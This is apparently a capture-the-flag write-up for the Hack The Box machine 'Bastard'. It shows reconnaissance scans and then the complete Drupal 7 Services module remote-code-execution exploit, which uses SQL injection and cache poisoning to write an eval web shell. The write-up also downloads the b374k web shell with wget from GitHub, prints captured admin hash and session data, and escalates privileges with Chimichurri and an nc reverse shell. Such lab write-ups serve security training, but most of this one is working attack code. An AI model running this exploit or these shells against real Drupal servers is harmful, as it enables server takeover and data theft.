bastard
bastard

Let’s get started!:)

Reconnaissance

This is the initial step in order to scan the open services in the machine.

COMMAND: nmap -sC -sV -O -oA bastard 10.10.10.9

  • -sC: run default nmap scripts
  • -sV: detect service version
  • -O: detect OS{Operating System}
  • -oA: output all formats and store in file bastard

Let’s check the webserver on the machine.

URL: htttp://10.10.10.9

On visiting the above url we can see a drupal login page appears .

Let’s do some reconnaissance with dirb

COMMAND: dirb http://10.10.10.9

After some time dirb got some folders that are listed below

File found: /modules — 301
File found: /misc — 301
File found: /themes — 301
File found: /search — 403
File found: /scripts — 301
File found: /user — 200
File found: /0–200
File found: /admin — 403
File found: /tag — 403
File found: /node — 200
File found: /sites — 301
File found: /template — 403
File found: /includes — 301
File found: /Search — 403
File found: /index.php — 200
Dir found: / — 200
File found: /profiles — 301
Dir found: /rest/ — 200
Dir found: /rest/0/ — 200
ERROR: http://10.10.10.9:80/rest/user/ — Return code for first HEAD, is different to the second GET: 200–403
Dir found: /rest/user/ — 200
Dir found: /rest/comment/ — 200
Dir found: /rest/node/ — 200

You can use Dirbuster tool to bruteforce

Let’s do More Enumeration with nikto

COMMAND: nikto -h 10.10.10.9

We can see clearly that the web server is running Drupal 7 and it is vulnerable to several XSS and possibly SQL Injection. I started looking for a Drupal 7 exploit and I came across https://www.ambionics.io/blog/drupal-services-module-rce

I suggest you to read the entire article and it is useful for exploiting more machines.

copy the code below code and save it as drupal1.php

You can name it anything but the extension must be php

drupal1.php

#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
# 

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;

    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;

        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}

class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query = 
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
    e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;

    function __construct($url)
    {
        $this->url = $url;
    }

    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;

        $s = curl_init(); 
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);

        if($error)
        {
            e("cURL: $error");
        }

        return json_decode($output);
    }
}

# Cache

function cache_poison($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}

function cache_edit($tr)
{
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
    print("$message\n");
}

function e($message)
{
    x($message);
    exit(1);
}

function store($name, $data)
{
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}

The exploit needs a rest api path in the web server, one of the output from DirBuster was dirb found: /rest/ — 200

user.json

{
“uid”: “1”,
“name”: “admin”,
“mail”: “drupal@hackthebox.gr”,
“theme”: “”,
“created”: “1489920428”,
“access”: “1492102672”,
“login”: 1505051198,
“status”: “1”,
“timezone”: “Europe\/Athens”,
“language”: “”,
“picture”: null,
“init”: “drupal@hackthebox.gr”,
“data”: false,
“roles”: {
“2”: “authenticated user”,
“3”: “administrator”
},
“rdf_mapping”: {
“rdftype”: [
“sioc:UserAccount”
],
“name”: {
“predicates”: [
“foaf:name”
]
},
“homepage”: {
“predicates”: [
“foaf:page”
],
“type”: “rel”
}
},
“pass”: “$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE”
}

session.json

{
“session_name”: “SESSd873f26fc11f2b7e6e4aa0f6fce59913”,
“session_id”: “xAmjIUH0wKeDr1QmfFsRWOs6QO_I-NpOEOkd-i3fVkU”,
“token”: “s4iFtBwozCOf0rxIeloGaQ_KfOY1rGFOUpxNc2z5BH8”
}

I modified the exploit so it would read from a file that file will contain my php shell.

$myfile = fopen(“payload1.txt”, “r”) or die(“Unable to open file!”);
$payload1 = fread($myfile,filesize(“payload1.txt”));
$url = ‘10.10.10.9’;
$endpoint_path = ‘/rest’;
$endpoint = ‘rest_endpoint’; $file = [
 ‘filename’ => ‘exp1o1t9r.php’,
 ‘data’ => $payload1
];

I used a shell called b374k’s shell and named as payload1.txt and the contents of payload1.txt will be uploaded to the webserver as exp1o1t9r.php

Now we need to download a shell and name it as payload1.txt and it will be uploaded to the webserver as exp1o1t9r.php

COMMAND: wget -O payload1.txt https://raw.githubusercontent.com/BlackArch/webshells/master/php/b374k-2.7.php

Now we will run the exploit!

Now we just need to open the url http://10.10.10.9/exp1o1t9r.php

As payload1.txt contains the content of the b374k’s shell so if we open http://10.10.10.9/exp1o1t9r.php should be a login page the password of all b374k shells is b374k
unless you change it. Which I recommend you do to prevent other users from using your shell. I created and uploaded a windows shell through the upload function in b374k’s shell

You can navigate as a file explorer and get the user flag in the dimitris user

Got user flag:)

COMMAND : systeminfo

I kept digging the in the web and came across this exploit on github https://github.com/Re4son/Chimichurri/

Upload the chimichurri.exe it to the folder drupal-7.54 using the shell . and start nc

COMMAND: Chimichurri.exe <YOUR-LOCAL-IP> <PORT>

COMMAND: nc -lvp <PORT>

BOOM!! got the shell ..Now change dir to administrator and get the user flag!!

If you like my writeup , Give me Respect on my HTB profile : Exp1o1t9r

LEAVE A REPLY

Please enter your comment!
Please enter your name here